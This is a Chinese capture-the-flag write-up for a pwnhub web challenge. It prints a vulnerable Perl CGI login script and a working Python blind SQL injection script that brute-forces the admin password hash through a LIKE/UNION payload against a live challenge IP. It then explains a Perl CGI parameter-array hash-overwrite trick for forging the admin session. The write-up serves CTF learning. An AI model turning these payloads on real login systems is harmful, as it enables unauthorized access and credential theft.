pwnhub 胖哈勃归来 Writeup

进入题目下载index.cgi.bak得到源码

#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
use Digest::MD5;
my $md5 = Digest::MD5->new;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M');

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017 the real SqlRF', -bgcolor=>'black');

my $errmsg = '';
if($q->param('login') ne '') {
  use DBI;
  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
  $errmsg = '<h2 style="color:red">Login Error!</h2>';
  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      $md5->add($q->param('pass'));
      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq $md5->clone->hexdigest) {
        $s->param('autheduser', $q->param('user'));
        print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
        if ($s->param('autheduser') eq 'admin') {
            print "FLAG</p>";
        } else {
            print "Only admin can get the flag!</p>";
    }
        $errmsg = '';
      }
    }
  };
  if([email protected]) {
    $errmsg = '<h2 style="color:red">Database Error!</h2>';
  }
  $dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;

$sth处显然存在SQL注入,和SECCON上的SqlSRF一样

my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

于是这里借用Melody师傅的脚本

from requests import post

url = "http://54.222.248.100/cgi-bin/"
dic = "abcdef0123456789"
password = ""

for i in range(0, 32):
    for j in dic:
        payload = "' or password like '{}%' union select '9e3669d19b675bd57058fd4664205d2a"
        payload = payload.format(password + j)
        data = {
            "user": payload,
            "pass": "v",
            "login": "Login"
        }
        res = post(url, data = data)
        # print data
        if 'Error!' in res.content:
            password += j
            print password
            break

于是得到了admin的密码的MD5值。然而事情并没有这么简单,这个MD5放在各大破解网站都跑不出来,所以只能从其他方面下手。

  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      $md5->add($q->param('pass'));
      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq $md5->clone->hexdigest) {
        $s->param('autheduser', $q->param('user'));
        print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
        if ($s->param('autheduser') eq 'admin') {
            print "FLAG</p>";
        } else {
            print "Only admin can get the flag!</p>";
    }
        $errmsg = '';
      }
    }

从这段验证代码可以看出我们需要一方面让SQL查询出来的password等于我们传入的$q->param('pass')的MD5值,另一方面又需要让$s->param('autheduser')等于admin,而$s->param('autheduser')取的是$q->param('user')的值。

在查找各种资料后查到了一篇发表于2014年的文章,文章里提到perl的一个漏洞

New Class of Vulnerability in Perl Web Applications

这个漏洞就是如果在perl里的hash(相当于python里的dict)直接调用$cgi->param('key'),且$cgi->param('key')传入的是一个数组的话(传入同名参数就会自动构成数组),hash会把数组的第二个值和后续值按顺序添加为键/值,且可以覆盖前面的键,形成一个类似于变量覆盖的漏洞。

而这道题就在session这个hash里调用了$q->param('user')

$s->param('autheduser', $q->param('user'));

所以我们只需要让参数user传入一个数组,数组的第一个值用于SQL注入,第二第三个值用来覆盖$s->param('autheduser'),使其等于admin,如图

Get flag.

发表评论